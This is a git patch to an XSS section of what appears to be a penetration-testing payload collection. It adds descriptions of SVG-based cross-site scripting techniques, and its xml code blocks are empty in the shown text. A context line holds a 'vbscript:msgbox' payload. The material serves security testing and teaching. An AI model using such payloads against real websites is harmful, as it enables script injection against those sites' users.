From 8e05a2dd2ade3cac57350e0495c7e73444085e59 Mon Sep 17 00:00:00 2001 From: Alexandre ZANNI <16578570+noraj@users.noreply.github.com> Date: Wed, 19 Jun 2024 14:54:19 +0200 Subject: [PATCH] XSS in SVG: more examples + nesting --- XSS Injection/README.md | 62 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 62 insertions(+) diff --git a/XSS Injection/README.md b/XSS Injection/README.md index a5a487e..f77f631 100644 --- a/XSS Injection/README.md +++ b/XSS Injection/README.md @@ -383,6 +383,8 @@ vbscript:msgbox("XSS") ### XSS in SVG +Simple script. Codename: green triangle + ```xml @@ -395,6 +397,29 @@ vbscript:msgbox("XSS") ``` +More comprehensive payload with svg tag attribute, desc script, foreignObject script, foreignObject iframe, title script, animatetransform event and simple script. Codename: red lignthning. Author: noraj. + +```xml + + + + + + + + +